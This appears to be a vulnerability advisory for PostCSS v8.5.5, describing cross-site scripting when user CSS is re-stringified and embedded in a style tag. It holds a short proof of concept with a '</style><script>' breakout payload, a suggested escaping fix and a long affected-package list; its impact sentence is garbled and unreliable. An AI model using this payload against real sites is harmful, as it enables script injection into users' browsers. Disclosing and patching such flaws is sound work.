Overview
About vulnerability
PostCSS: XSS via Unescaped </style> in CSS Stringify Output
Summary
PostCSS v8.5.5 (latest) does not escape </style> sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML <style> tags, </style> in CSS values breaks out of the style context, enabling XSS.
Proof of Concept
const postcss = require('postcss');
// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;
console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes
Tested output (Node.js v22, postcss v8.5.5):
Input: body { content: "</style><script>alert(1)</script><style>"; }
Output: body { content: "</style><script>alert(1)</script><style>"; }
Contains </style>: true
Impact
Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.
Suggested Fix
Escape </style in all stringified output values:
output = output.replace(/<\/(style)/gi, '<\\/$1');
Credits
Discovered and reported by Sunil Kumar (@TharVid)
Details
- Affected product:
- Next.js , Node.js , Vue , amp-toolbox , autoprefixer , component-compiler-utils , css-loader , cssnano , cssnano-preset-simple , cssnano-simple , db0 , drizzle-orm , expo , expo-sqlite , icss-utils , ng-packagr , nitro , nuxt , pleeease-filters , postcss , postcss-apply , postcss-attribute-case-insensitive , postcss-calc , postcss-charset , postcss-clean , postcss-color-function , postcss-color-gray , postcss-color-hex-alpha , postcss-color-hsl , postcss-color-hwb , postcss-color-rebeccapurple , postcss-color-rgb , postcss-color-rgba-fallback , postcss-colormin , postcss-cssnext , postcss-custom-media , postcss-custom-properties , postcss-custom-selectors , postcss-discard-duplicates , postcss-filter-plugins , postcss-font-family-system-ui , postcss-font-variant , postcss-functions , postcss-image-set-polyfill , postcss-import , postcss-initial , postcss-loader , postcss-media-minmax , postcss-minify-selectors , postcss-modules-extract-imports , postcss-modules-local-by-default , postcss-modules-scope , postcss-modules-values , postcss-nesting , postcss-ordered-values , postcss-plugins , postcss-pseudo-class-any-link , postcss-pseudoelements , postcss-replace-overflow-wrap , postcss-safe-parser , postcss-selector-matches , postcss-selector-not , postcss-svgo , postcss-url , resolve-url-loader , sanitize-html , tailwindcss
- Affected packages:
- postcss-svgo @ 2.1.6 (+301 more)